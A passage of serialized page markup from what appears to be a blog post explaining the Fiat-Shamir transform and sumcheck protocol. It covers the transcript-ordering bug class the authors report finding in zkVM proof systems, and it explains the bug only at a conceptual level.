reduction messages, openings).",{"type":23,"tag":77,"props":105983,"children":105984},{},[105985],{"type":28,"value":105986},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":77,"props":105988,"children":105989},{},[105990],{"type":28,"value":105991},"Check constraint equations at sampled points.",{"type":23,"tag":77,"props":105993,"children":105994},{},[105995],{"type":28,"value":105996},"Check PCS/opening consistency.",{"type":23,"tag":77,"props":105998,"children":105999},{},[106000],{"type":28,"value":106001},"Accept only if all checks are jointly consistent.",{"type":23,"tag":24,"props":106003,"children":106004},{},[106005],{"type":23,"tag":149,"props":106006,"children":106009},{"alt":106007,"src":106008},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":24,"props":106011,"children":106012},{},[106013],{"type":28,"value":106014},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":16288,"props":106016,"children":106017},{},[],{"type":23,"tag":31,"props":106019,"children":106021},{"id":106020},"the-building-blocks",[106022],{"type":28,"value":106023},"The Building Blocks",{"type":23,"tag":24,"props":106025,"children":106026},{},[106027],{"type":28,"value":106028},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":7092,"props":106030,"children":106032},{"id":106031},"the-fiat-shamir-transform",[106033],{"type":28,"value":106034},"The Fiat-Shamir Transform",{"type":23,"tag":24,"props":106036,"children":106037},{},[106038],{"type":28,"value":106039},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":24,"props":106041,"children":106042},{},[106043],{"type":28,"value":106044},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":24,"props":106046,"children":106047},{},[106048],{"type":23,"tag":149,"props":106049,"children":106052},{"alt":106050,"src":106051},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":24,"props":106054,"children":106055},{},[106056,106058,106062,106064,106069],{"type":28,"value":106057},"The hash (transcript) ",{"type":23,"tag":2875,"props":106059,"children":106060},{},[106061],{"type":28,"value":3997},{"type":28,"value":106063}," include everything that affects verification ",{"type":23,"tag":2875,"props":106065,"children":106066},{},[106067],{"type":28,"value":106068},"BEFORE",{"type":28,"value":106070}," the challenges derived from it are used.",{"type":23,"tag":24,"props":106072,"children":106073},{},[106074,106076,106102,106104,106129,106131,106156,106158,106183,106185,106210],{"type":28,"value":106075},"If some value ",{"type":23,"tag":64,"props":106077,"children":106079},{"className":106078},[1527,1528],[106080],{"type":23,"tag":481,"props":106081,"children":106083},{"className":106082},[1533],[106084],{"type":23,"tag":481,"props":106085,"children":106087},{"className":106086,"ariaHidden":1539},[1538],[106088],{"type":23,"tag":481,"props":106089,"children":106091},{"className":106090},[1544],[106092,106096],{"type":23,"tag":481,"props":106093,"children":106095},{"className":106094,"style":19081},[1549],[],{"type":23,"tag":481,"props":106097,"children":106099},{"className":106098,"style":105777},[1555,19086],[106100],{"type":28,"value":106101},"V",{"type":28,"value":106103}," affects a verification equation, but ",{"type":23,"tag":64,"props":106105,"children":106107},{"className":106106},[1527,1528],[106108],{"type":23,"tag":481,"props":106109,"children":106111},{"className":106110},[1533],[106112],{"type":23,"tag":481,"props":106113,"children":106115},{"className":106114,"ariaHidden":1539},[1538],[106116],{"type":23,"tag":481,"props":106117,"children":106119},{"className":106118},[1544],[106120,106124],{"type":23,"tag":481,"props":106121,"children":106123},{"className":106122,"style":19081},[1549],[],{"type":23,"tag":481,"props":106125,"children":106127},{"className":106126,"style":105777},[1555,19086],[106128],{"type":28,"value":106101},{"type":28,"value":106130}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":64,"props":106132,"children":106134},{"className":106133},[1527,1528],[106135],{"type":23,"tag":481,"props":106136,"children":106138},{"className":106137},[1533],[106139],{"type":23,"tag":481,"props":106140,"children":106142},{"className":106141,"ariaHidden":1539},[1538],[106143],{"type":23,"tag":481,"props":106144,"children":106146},{"className":106145},[1544],[106147,106151],{"type":23,"tag":481,"props":106148,"children":106150},{"className":106149,"style":19081},[1549],[],{"type":23,"tag":481,"props":106152,"children":106154},{"className":106153,"style":105777},[1555,19086],[106155],{"type":28,"value":106101},{"type":28,"value":106157},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":64,"props":106159,"children":106161},{"className":106160},[1527,1528],[106162],{"type":23,"tag":481,"props":106163,"children":106165},{"className":106164},[1533],[106166],{"type":23,"tag":481,"props":106167,"children":106169},{"className":106168,"ariaHidden":1539},[1538],[106170],{"type":23,"tag":481,"props":106171,"children":106173},{"className":106172},[1544],[106174,106178],{"type":23,"tag":481,"props":106175,"children":106177},{"className":106176,"style":19081},[1549],[],{"type":23,"tag":481,"props":106179,"children":106181},{"className":106180,"style":105777},[1555,19086],[106182],{"type":28,"value":106101},{"type":28,"value":106184},", which may allow it to choose ",{"type":23,"tag":64,"props":106186,"children":106188},{"className":106187},[1527,1528],[106189],{"type":23,"tag":481,"props":106190,"children":106192},{"className":106191},[1533],[106193],{"type":23,"tag":481,"props":106194,"children":106196},{"className":106195,"ariaHidden":1539},[1538],[106197],{"type":23,"tag":481,"props":106198,"children":106200},{"className":106199},[1544],[106201,106205],{"type":23,"tag":481,"props":106202,"children":106204},{"className":106203,"style":19081},[1549],[],{"type":23,"tag":481,"props":106206,"children":106208},{"className":106207,"style":105777},[1555,19086],[106209],{"type":28,"value":106101},{"type":28,"value":106211}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":24,"props":106213,"children":106214},{},[106215],{"type":28,"value":106216},"This is the bug class we found in all six systems.",{"type":23,"tag":7092,"props":106218,"children":106220},{"id":106219},"the-sumcheck-protocol",[106221],{"type":28,"value":106222},"The Sumcheck Protocol",{"type":23,"tag":24,"props":106224,"children":106225},{},[106226,106228,106314],{"type":28,"value":106227},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":64,"props":106229,"children":106231},{"className":106230},[1527,1528],[106232],{"type":23,"tag":481,"props":106233,"children":106235},{"className":106234},[1533],[106236],{"type":23,"tag":481,"props":106237,"children":106239},{"className":106238,"ariaHidden":1539},[1538],[106240],{"type":23,"tag":481,"props":106241,"children":106243},{"className":106242},[1544],[106244,106248,106253,106258,106263,106267,106272],{"type":23,"tag":481,"props":106245,"children":106247},{"className":106246,"style":1657},[1549],[],{"type":23,"tag":481,"props":106249,"children":106251},{"className":106250},[19215],[106252],{"type":28,"value":74150},{"type":23,"tag":481,"props":106254,"children":106256},{"className":106255},[1555],[106257],{"type":28,"value":1568},{"type":23,"tag":481,"props":106259,"children":106261},{"className":106260},[1668],[106262],{"type":28,"value":1671},{"type":23,"tag":481,"props":106264,"children":106266},{"className":106265,"style":1675},[1636],[],{"type":23,"tag":481,"props":106268,"children":106270},{"className":106269},[1555],[106271],{"type":28,"value":1558},{"type":23,"tag":481,"props":106273,"children":106275},{"className":106274},[19237],[106276,106281],{"type":23,"tag":481,"props":106277,"children":106279},{"className":106278},[19237],[106280],{"type":28,"value":31657},{"type":23,"tag":481,"props":106282,"children":106284},{"className":106283},[1572],[106285],{"type":23,"tag":481,"props":106286,"children":106288},{"className":106287},[1577],[106289],{"type":23,"tag":481,"props":106290,"children":106292},{"className":106291},[1582],[106293],{"type":23,"tag":481,"props":106294,"children":106297},{"className":106295,"style":106296},[1587],"height:0.6644em;",[106298],{"type":23,"tag":481,"props":106299,"children":106300},{"style":1591},[106301,106305],{"type":23,"tag":481,"props":106302,"children":106304},{"className":106303,"style":1597},[1596],[],{"type":23,"tag":481,"props":106306,"children":106308},{"className":106307},[1602,1603,1604,1605],[106309],{"type":23,"tag":481,"props":106310,"children":106312},{"className":106311},[1555,19086,1605],[106313],{"type":28,"value":53930},{"type":28,"value":106315},"), i.e the claim:",{"type":23,"tag":24,"props":106317,"children":106318},{},[106319],{"type":23,"tag":64,"props":106320,"children":106322},{"className":106321},[1527,1528],[106323],{"type":23,"tag":481,"props":106324,"children":106326},{"className":106325},[1533],[106327],{"type":23,"tag":481,"props":106328,"children":106330},{"className":106329,"ariaHidden":1539},[1538],[106331,106357],{"type":23,"tag":481,"props":106332,"children":106334},{"className":106333},[1544],[106335,106339,106344,106348,106353],{"type":23,"tag":481,"props":106336,"children":106338},{"className":106337,"style":19081},[1549],[],{"type":23,"tag":481,"props":106340,"children":106342},{"className":106341,"style":90813},[1555,19086],[106343],{"type":28,"value":90816},{"type":23,"tag":481,"props":106345,"children":106347},{"className":106346,"style":1734},[1636],[],{"type":23,"tag":481,"props":106349,"children":106351},{"className":106350},[1739],[106352],{"type":28,"value":603},{"type":23,"tag":481,"props":106354,"children":106356},{"className":106355,"style":1734},[1636],[],{"type":23,"tag":481,"props":106358,"children":106360},{"className":106359},[1544],[106361,106365,106515,106519,106662,106666,106673,106677,106821,106825,106831,106836,106893,106898,106902,106959,106964,106968,106974,106978,106983,106987,107045],{"type":23,"tag":481,"props":106362,"children":106364},{"className":106363,"style":19117},[1549],[],{"type":23,"tag":481,"props":106366,"children":106368},{"className":106367},[19122],[106369,106375],{"type":23,"tag":481,"props":106370,"children":106372},{"className":106371,"style":19129},[19122,19127,19128],[106373],{"type":28,"value":106374},"∑",{"type":23,"tag":481,"props":106376,"children":106378},{"className":106377},[1572],[106379],{"type":23,"tag":481,"props":106380,"children":106382},{"className":106381},[1577,19140],[106383,106504],{"type":23,"tag":481,"props":106384,"children":106386},{"className":106385},[1582],[106387,106499],{"type":23,"tag":481,"props":106388,"children":106390},{"className":106389,"style":19149},[1587],[106391],{"type":23,"tag":481,"props":106392,"children":106393},{"style":19153},[106394,106398],{"type":23,"tag":481,"props":106395,"children":106397},{"className":106396,"style":1597},[1596],[],{"type":23,"tag":481,"props":106399,"children":106401},{"className":106400},[1602,1603,1604,1605],[106402],{"type":23,"tag":481,"props":106403,"children":106405},{"className":106404},[1555,1605],[106406,106469,106474,106479,106484,106489,106494],{"type":23,"tag":481,"props":106407,"children":106409},{"className":106408},[1555,1605],[106410,106415],{"type":23,"tag":481,"props":106411,"children":106413},{"className":106412},[1555,19086,1605],[106414],{"type":28,"value":16772},{"type":23,"tag":481,"props":106416,"children":106418},{"className":106417},[1572],[106419],{"type":23,"tag":481,"props":106420,"children":106422},{"className":106421},[1577,19140],[106423,106457],{"type":23,"tag":481,"props":106424,"children":106426},{"className":106425},[1582],[106427,106452],{"type":23,"tag":481,"props":106428,"children":106431},{"className":106429,"style":106430},[1587],"height:0.3173em;",[106432],{"type":23,"tag":481,"props":106433,"children":106435},{"style":106434},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[106436,106441],{"type":23,"tag":481,"props":106437,"children":106440},{"className":106438,"style":106439},[1596],"height:2.5em;",[],{"type":23,"tag":481,"props":106442,"children":106446},{"className":106443},[1602,106444,106445,1605],"reset-size3","size1",[106447],{"type":23,"tag":481,"props":106448,"children":106450},{"className":106449},[1555,1605],[106451],{"type":28,"value":1558},{"type":23,"tag":481,"props":106453,"children":106455},{"className":106454},[19243],[106456],{"type":28,"value":19246},{"type":23,"tag":481,"props":106458,"children":106460},{"className":106459},[1582],[106461],{"type":23,"tag":481,"props":106462,"children":106465},{"className":106463,"style":106464},[1587],"height:0.143em;",[106466],{"type":23,"tag":481,"props":106467,"children":106468},{},[],{"type":23,"tag":481,"props":106470,"children":106472},{"className":106471},[1739,1605],[106473],{"type":28,"value":19193},{"type":23,"tag":481,"props":106475,"children":106477},{"className":106476},[19215,1605],[106478],{"type":28,"value":74150},{"type":23,"tag":481,"props":106480,"children":106482},{"className":106481},[1555,1605],[106483],{"type":28,"value":1568},{"type":23,"tag":481,"props":106485,"children":106487},{"className":106486},[1668,1605],[106488],{"type":28,"value":1671},{"type":23,"tag":481,"props":106490,"children":106492},{"className":106491},[1555,1605],[106493],{"type":28,"value":1558},{"type":23,"tag":481,"props":106495,"children":106497},{"className":106496},[19237,1605],[106498],{"type":28,"value":31657},{"type":23,"tag":481,"props":106500,"children":106502},{"className":106501},[19243],[106503],{"type":28,"value":19246},{"type":23,"tag":481,"props":106505,"children":106507},{"className":106506},[1582],[106508],{"type":23,"tag":481,"props":106509,"children":106511},{"className":106510,"style":19254},[1587],[106512],{"type":23,"tag":481,"props":106513,"children":106514},{},[],{"type":23,"tag":481,"props":106516,"children":106518},{"className":106517,"style":1675},[1636],[],{"type":23,"tag":481,"props":106520,"children":106522},{"className":106521},[19122],[106523,106528],{"type":23,"tag":481,"props":106524,"children":106526},{"className":106525,"style":19129},[19122,19127,19128],[106527],{"type":28,"value":106374},{"type":23,"tag":481,"props":106529,"children":106531},{"className":106530},[1572],[106532],{"type":23,"tag":481,"props":106533,"children":106535},{"className":106534},[1577,19140],[106536,106651],{"type":23,"tag":481,"props":106537,"children":106539},{"className":106538},[1582],[106540,106646],{"type":23,"tag":481,"props":106541,"children":106543},{"className":106542,"style":19149},[1587],[106544],{"type":23,"tag":481,"props":106545,"children":106546},{"style":19153},[106547,106551],{"type":23,"tag":481,"props":106548,"children":106550},{"className":106549,"style":1597},[1596],[],{"type":23,"tag":481,"props":106552,"children":106554},{"className":106553},[1602,1603,1604,1605],[106555],{"type":23,"tag":481,"props":106556,"children":106558},{"className":106557},[1555,1605],[106559,106616,106621,106626,106631,106636,106641],{"type":23,"tag":481,"props":106560,"children":106562},{"className":106561},[1555,1605],[106563,106568],{"type":23,"tag":481,"props":106564,"children":106566},{"className":106565},[1555,19086,1605],[106567],{"type":28,"value":16772},{"type":23,"tag":481,"props":106569,"children":106571},{"className":106570},[1572],[106572],{"type":23,"tag":481,"props":106573,"children":106575},{"className":106574},[1577,19140],[106576,106605],{"type":23,"tag":481,"props":106577,"children":106579},{"className":106578},[1582],[106580,106600],{"type":23,"tag":481,"props":106581,"children":106583},{"className":106582,"style":106430},[1587],[106584],{"type":23,"tag":481,"props":106585,"children":106586},{"style":106434},[106587,106591],{"type":23,"tag":481,"props":106588,"children":106590},{"className":106589,"style":106439},[1596],[],{"type":23,"tag":481,"props":106592,"children":106594},{"className":106593},[1602,106444,106445,1605],[106595],{"type":23,"tag":481,"props":106596,"children":106598},{"className":106597},[1555,1605],[106599],{"type":28,"value":637},{"type":23,"tag":481,"props":106601,"children":106603},{"className":106602},[19243],[106604],{"type":28,"value":19246},{"type":23,"tag":481,"props":106606,"children":106608},{"className":106607},[1582],[106609],{"type":23,"tag":481,"props":106610,"children":106612},{"className":106611,"style":106464},[1587],[106613],{"type":23,"tag":481,"props":106614,"children":106615},{},[],{"type":23,"tag":481,"props":106617,"children":106619},{"className":106618},[1739,1605],[106620],{"type":28,"value":19193},{"type":23,"tag":481,"props":106622,"children":106624},{"className":106623},[19215,1605],[106625],{"type":28,"value":74150},{"type":23,"tag":481,"props":106627,"children":106629},{"className":106628},[1555,1605],[106630],{"type":28,"value":1568},{"type":23,"tag":481,"props":106632,"children":106634},{"className":106633},[1668,1605],[106635],{"type":28,"value":1671},{"type":23,"tag":481,"props":106637,"children":106639},{"className":106638},[1555,1605],[106640],{"type":28,"value":1558},{"type":23,"tag":481,"props":106642,"children":106644},{"className":106643},[19237,1605],[106645],{"type":28,"value":31657},{"type":23,"tag":481,"props":106647,"children":106649},{"className":106648},[19243],[106650],{"type":28,"value":19246},{"type":23,"tag":481,"props":106652,"children":106654},{"className":106653},[1582],[106655],{"type":23,"tag":481,"props":106656,"children":106658},{"className":106657,"style":19254},[1587],[106659],{"type":23,"tag":481,"props":106660,"children":106661},{},[],{"type":23,"tag":481,"props":106663,"children":106665},{"className":106664,"style":1675},[1636],[],{"type":23,"tag":481,"props":106667,"children":106670},{"className":106668},[106669],"minner",[106671],{"type":28,"value":106672},"⋯",{"type":23,"tag":481,"props":106674,"children":106676},{"className":106675,"style":1675},[1636],[],{"type":23,"tag":481,"props":106678,"children":106680},{"className":106679},[19122],[106681,106686],{"type":23,"tag":481,"props":106682,"children":106684},{"className":106683,"style":19129},[19122,19127,19128],[106685],{"type":28,"value":106374},{"type":23,"tag":481,"props":106687,"children":106689},{"className":106688},[1572],[106690],{"type":23,"tag":481,"props":106691,"children":106693},{"className":106692},[1577,19140],[106694,106810],{"type":23,"tag":481,"props":106695,"children":106697},{"className":106696},[1582],[106698,106805],{"type":23,"tag":481,"props":106699,"children":106701},{"className":106700,"style":19149},[1587],[106702],{"type":23,"tag":481,"props":106703,"children":106704},{"style":19153},[106705,106709],{"type":23,"tag":481,"props":106706,"children":106708},{"className":106707,"style":1597},[1596],[],{"type":23,"tag":481,"props":106710,"children":106712},{"className":106711},[1602,1603,1604,1605],[106713],{"type":23,"tag":481,"props":106714,"children":106716},{"className":106715},[1555,1605],[106717,106775,106780,106785,106790,106795,106800],{"type":23,"tag":481,"props":106718,"children":106720},{"className":106719},[1555,1605],[106721,106726],{"type":23,"tag":481,"props":106722,"children":106724},{"className":106723},[1555,19086,1605],[106725],{"type":28,"value":16772},{"type":23,"tag":481,"props":106727,"children":106729},{"className":106728},[1572],[106730],{"type":23,"tag":481,"props":106731,"children":106733},{"className":106732},[1577,19140],[106734,106764],{"type":23,"tag":481,"props":106735,"children":106737},{"className":106736},[1582],[106738,106759],{"type":23,"tag":481,"props":106739,"children":106742},{"className":106740,"style":106741},[1587],"height:0.1645em;",[106743],{"type":23,"tag":481,"props":106744,"children":106745},{"style":106434},[106746,106750],{"type":23,"tag":481,"props":106747,"children":106749},{"className":106748,"style":106439},[1596],[],{"type":23,"tag":481,"props":106751,"children":106753},{"className":106752},[1602,106444,106445,1605],[106754],{"type":23,"tag":481,"props":106755,"children":106757},{"className":106756},[1555,19086,1605],[106758],{"type":28,"value":53930},{"type":23,"tag":481,"props":106760,"children":106762},{"className":106761},[19243],[106763],{"type":28,"value":19246},{"type":23,"tag":481,"props":106765,"children":106767},{"className":106766},[1582],[106768],{"type":23,"tag":481,"props":106769,"children":106771},{"className":106770,"style":106464},[1587],[106772],{"type":23,"tag":481,"props":106773,"children":106774},{},[],{"type":23,"tag":481,"props":106776,"children":106778},{"className":106777},[1739,1605],[106779],{"type":28,"value":19193},{"type":23,"tag":481,"props":106781,"children":106783},{"className":106782},[19215,1605],[106784],{"type":28,"value":74150},{"type":23,"tag":481,"props":106786,"children":106788},{"className":106787},[1555,1605],[106789],{"type":28,"value":1568},{"type":23,"tag":481,"props":106791,"children":106793},{"className":106792},[1668,1605],[106794],{"type":28,"value":1671},{"type":23,"tag":481,"props":106796,"children":106798},{"className":106797},[1555,1605],[106799],{"type":28,"value":1558},{"type":23,"tag":481,"props":106801,"children":106803},{"className":106802},[19237,1605],[106804],{"type":28,"value":31657},{"type":23,"tag":481,"props":106806,"children":106808},{"className":106807},[19243],[106809],{"type":28,"value":19246},{"type":23,"tag":481,"props":106811,"children":106813},{"className":106812},[1582],[106814],{"type":23,"tag":481,"props":106815,"children":106817},{"className":106816,"style":19254},[1587],[106818],{"type":23,"tag":481,"props":106819,"children":106820},{},[],{"type":23,"tag":481,"props":106822,"children":106824},{"className":106823,"style":1675},[1636],[],{"type":23,"tag":481,"props":106826,"children":106828},{"className":106827,"style":91065},[1555,19086],[106829],{"type":28,"value":106830},"g",{"type":23,"tag":481,"props":106832,"children":106834},{"className":106833},[19215],[106835],{"type":28,"value":618},{"type":23,"tag":481,"props":106837,"children":106839},{"className":106838},[1555],[106840,106845],{"type":23,"tag":481,"props":106841,"children":106843},{"className":106842},[1555,19086],[106844],{"type":28,"value":16772},{"type":23,"tag":481,"props":106846,"children":106848},{"className":106847},[1572],[106849],{"type":23,"tag":481,"props":106850,"children":106852},{"className":106851},[1577,19140],[106853,106882],{"type":23,"tag":481,"props":106854,"children":106856},{"className":106855},[1582],[106857,106877],{"type":23,"tag":481,"props":106858,"children":106860},{"className":106859,"style":90631},[1587],[106861],{"type":23,"tag":481,"props":106862,"children":106863},{"style":90635},[106864,106868],{"type":23,"tag":481,"props":106865,"children":106867},{"className":106866,"style":1597},[1596],[],{"type":23,"tag":481,"props":106869,"children":106871},{"className":106870},[1602,1603,1604,1605],[106872],{"type":23,"tag":481,"props":106873,"children":106875},{"className":106874},[1555,1605],[106876],{"type":28,"value":1558},{"type":23,"tag":481,"props":106878,"children":106880},{"className":106879},[19243],[106881],{"type":28,"value":19246},{"type":23,"tag":481,"props":106883,"children":106885},{"className":106884},[1582],[106886],{"type":23,"tag":481,"props":106887,"children":106889},{"className":106888,"style":90662},[1587],[106890],{"type":23,"tag":481,"props":106891,"children":106892},{},[],{"type":23,"tag":481,"props":106894,"children":106896},{"className":106895},[1668],[106897],{"type":28,"value":1671},{"type":23,"tag":481,"props":106899,"children":106901},{"className":106900,"style":1675},[1636],[],{"type":23,"tag":481,"props":106903,"children":106905},{"className":106904},[1555],[106906,106911],{"type":23,"tag":481,"props":106907,"children":106909},{"className":106908},[1555,19086],[106910],{"type":28,"value":16772},{"type":23,"tag":481,"props":106912,"children":106914},{"className":106913},[1572],[106915],{"type":23,"tag":481,"props":106916,"children":106918},{"className":106917},[1577,19140],[106919,106948],{"type":23,"tag":481,"props":106920,"children":106922},{"className":106921},[1582],[106923,106943],{"type":23,"tag":481,"props":106924,"children":106926},{"className":106925,"style":90631},[1587],[106927],{"type":23,"tag":481,"props":106928,"children":106929},{"style":90635},[106930,106934],{"type":23,"tag":481,"props":106931,"children":106933},{"className":106932,"style":1597},[1596],[],{"type":23,"tag":481,"props":106935,"children":106937},{"className":106936},[1602,1603,1604,1605],[106938],{"type":23,"tag":481,"props":106939,"children":106941},{"className":106940},[1555,1605],[106942],{"type":28,"value":637},{"type":23,"tag":481,"props":106944,"children":106946},{"className":106945},[19243],[106947],{"type":28,"value":19246},{"type":23,"tag":481,"props":106949,"children":106951},{"className":106950},[1582],[106952],{"type":23,"tag":481,"props":106953,"children":106955},{"className":106954,"style":90662},[1587],[106956],{"type":23,"tag":481,"props":106957,"children":106958},{},[],{"type":23,"tag":481,"props":106960,"children":106962},{"className":106961},[1668],[106963],{"type":28,"value":1671},{"type":23,"tag":481,"props":106965,"children":106967},{"className":106966,"style":1675},[1636],[],{"type":23,"tag":481,"props":106969,"children":106971},{"className":106970},[106669],[106972],{"type":28,"value":106973},"…",{"type":23,"tag":481,"props":106975,"children":106977},{"className":106976,"style":1675},[1636],[],{"type":23,"tag":481,"props":106979,"children":106981},{"className":106980},[1668],[106982],{"type":28,"value":1671},{"type":23,"tag":481,"props":106984,"children":106986},{"className":106985,"style":1675},[1636],[],{"type":23,"tag":481,"props":106988,"children":106990},{"className":106989},[1555],[106991,106996],{"type":23,"tag":481,"props":106992,"children":106994},{"className":106993},[1555,19086],[106995],{"type":28,"value":16772},{"type":23,"tag":481,"props":106997,"children":106999},{"className":106998},[1572],[107000],{"type":23,"tag":481,"props":107001,"children":107003},{"className":107002},[1577,19140],[107004,107034],{"type":23,"tag":481,"props":107005,"children":107007},{"className":107006},[1582],[107008,107029],{"type":23,"tag":481,"props":107009,"children":107012},{"className":107010,"style":107011},[1587],"height:0.1514em;",[107013],{"type":23,"tag":481,"props":107014,"children":107015},{"style":90635},[107016,107020],{"type":23,"tag":481,"props":107017,"children":107019},{"className":107018,"style":1597},[1596],[],{"type":23,"tag":481,"props":107021,"children":107023},{"className":107022},[1602,1603,1604,1605],[107024],{"type":23,"tag":481,"props":107025,"children":107027},{"className":107026},[1555,19086,1605],[107028],{"type":28,"value":53930},{"type":23,"tag":481,"props":107030,"children":107032},{"className":107031},[19243],[107033],{"type":28,"value":19246},{"type":23,"tag":481,"props":107035,"children":107037},{"className":107036},[1582],[107038],{"type":23,"tag":481,"props":107039,"children":107041},{"className":107040,"style":90662},[1587],[107042],{"type":23,"tag":481,"props":107043,"children":107044},{},[],{"type":23,"tag":481,"props":107046,"children":107048},{"className":107047},[19237],[107049],{"type":28,"value":642},{"type":23,"tag":24,"props":107051,"children":107052},{},[107053,107055,107116],{"type":28,"value":107054},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":64,"props":107056,"children":107058},{"className":107057},[1527,1528],[107059],{"type":23,"tag":481,"props":107060,"children":107062},{"className":107061},[1533],[107063],{"type":23,"tag":481,"props":107064,"children":107066},{"className":107065,"ariaHidden":1539},[1538],[107067],{"type":23,"tag":481,"props":107068,"children":107070},{"className":107069},[1544],[107071,107075],{"type":23,"tag":481,"props":107072,"children":107074},{"className":107073,"style":106296},[1549],[],{"type":23,"tag":481,"props":107076,"children":107078},{"className":107077},[1555],[107079,107084],{"type":23,"tag":481,"props":107080,"children":107082},{"className":107081},[1555],[107083],{"type":28,"value":637},{"type":23,"tag":481,"props":107085,"children":107087},{"className":107086},[1572],[107088],{"type":23,"tag":481,"props":107089,"children":107091},{"className":107090},[1577],[107092],{"type":23,"tag":481,"props":107093,"children":107095},{"className":107094},[1582],[107096],{"type":23,"tag":481,"props":107097,"children":107099},{"className":107098,"style":106296},[1587],[107100],{"type":23,"tag":481,"props":107101,"children":107102},{"style":1591},[107103,107107],{"type":23,"tag":481,"props":107104,"children":107106},{"className":107105,"style":1597},[1596],[],{"type":23,"tag":481,"props":107108,"children":107110},{"className":107109},[1602,1603,1604,1605],[107111],{"type":23,"tag":481,"props":107112,"children":107114},{"className":107113},[1555,19086,1605],[107115],{"type":28,"value":53930},{"type":28,"value":107117}," evaluations. This is exponentially expensive.",{"type":23,"tag":24,"props":107119,"children":107120},{},[107121,107123,107128],{"type":28,"value":107122},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":2875,"props":107124,"children":107125},{},[107126],{"type":28,"value":107127},"only one",{"type":28,"value":199},{"type":23,"tag":24,"props":107130,"children":107131},{},[107132],{"type":23,"tag":149,"props":107133,"children":107136},{"alt":107134,"src":107135},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":24,"props":107138,"children":107139},{},[107140,107142,107234,107236,107421,107423,107448,107450,107528,107530,107609],{"type":28,"value":107141},"In each round, the prover must send a polynomial ",{"type":23,"tag":64,"props":107143,"children":107145},{"className":107144},[1527,1528],[107146],{"type":23,"tag":481,"props":107147,"children":107149},{"className":107148},[1533],[107150],{"type":23,"tag":481,"props":107151,"children":107153},{"className":107152,"ariaHidden":1539},[1538],[107154],{"type":23,"tag":481,"props":107155,"children":107157},{"className":107156},[1544],[107158,107162,107219,107224,107229],{"type":23,"tag":481,"props":107159,"children":107161},{"className":107160,"style":1657},[1549],[],{"type":23,"tag":481,"props":107163,"children":107165},{"className":107164},[1555],[107166,107171],{"type":23,"tag":481,"props":107167,"children":107169},{"className":107168,"style":91065},[1555,19086],[107170],{"type":28,"value":106830},{"type":23,"tag":481,"props":107172,"children":107174},{"className":107173},[1572],[107175],{"type":23,"tag":481,"props":107176,"children":107178},{"className":107177},[1577,19140],[107179,107208],{"type":23,"tag":481,"props":107180,"children":107182},{"className":107181},[1582],[107183,107203],{"type":23,"tag":481,"props":107184,"children":107186},{"className":107185,"style":91108},[1587],[107187],{"type":23,"tag":481,"props":107188,"children":107189},{"style":91112},[107190,107194],{"type":23,"tag":481,"props":107191,"children":107193},{"className":107192,"style":1597},[1596],[],{"type":23,"tag":481,"props":107195,"children":107197},{"className":107196},[1602,1603,1604,1605],[107198],{"type":23,"tag":481,"props":107199,"children":107201},{"className":107200},[1555,19086,1605],[107202],{"type":28,"value":1274},{"type":23,"tag":481,"props":107204,"children":107206},{"className":107205},[19243],[107207],{"type":28,"value":19246},{"type":23,"tag":481,"props":107209,"children":107211},{"className":107210},[1582],[107212],{"type":23,"tag":481,"props":107213,"children":107215},{"className":107214,"style":90662},[1587],[107216],{"type":23,"tag":481,"props":107217,"children":107218},{},[],{"type":23,"tag":481,"props":107220,"children":107222},{"className":107221},[19215],[107223],{"type":28,"value":618},{"type":23,"tag":481,"props":107225,"children":107227},{"className":107226,"style":92599},[1555,19086],[107228],{"type":28,"value":3610},{"type":23,"tag":481,"props":107230,"children":107232},{"className":107231},[19237],[107233],{"type":28,"value":642},{"type":28,"value":107235}," such that ",{"type":23,"tag":64,"props":107237,"children":107239},{"className":107238},[1527,1528],[107240],{"type":23,"tag":481,"props":107241,"children":107243},{"className":107242},[1533],[107244],{"type":23,"tag":481,"props":107245,"children":107247},{"className":107246,"ariaHidden":1539},[1538],[107248,107341],{"type":23,"tag":481,"props":107249,"children":107251},{"className":107250},[1544],[107252,107256,107313,107318,107323,107328,107332,107337],{"type":23,"tag":481,"props":107253,"children":107255},{"className":107254,"style":1657},[1549],[],{"type":23,"tag":481,"props":107257,"children":107259},{"className":107258},[1555],[107260,107265],{"type":23,"tag":481,"props":107261,"children":107263},{"className":107262,"style":91065},[1555,19086],[107264],{"type":28,"value":106830},{"type":23,"tag":481,"props":107266,"children":107268},{"className":107267},[1572],[107269],{"type":23,"tag":481,"props":107270,"children":107272},{"className":107271},[1577,19140],[107273,107302],{"type":23,"tag":481,"props":107274,"children":107276},{"className":107275},[1582],[107277,107297],{"type":23,"tag":481,"props":107278,"children":107280},{"className":107279,"style":91108},[1587],[107281],{"type":23,"tag":481,"props":107282,"children":107283},{"style":91112},[107284,107288],{"type":23,"tag":481,"props":107285,"children":107287},{"className":107286,"style":1597},[1596],[],{"type":23,"tag":481,"props":107289,"children":107291},{"className":107290},[1602,1603,1604,1605],[107292],{"type":23,"tag":481,"props":107293,"children":107295},{"className":107294},[1555,19086,1605],[107296],{"type":28,"value":1274},{"type":23,"tag":481,"props":107298,"children":107300},{"className":107299},[19243],[107301],{"type"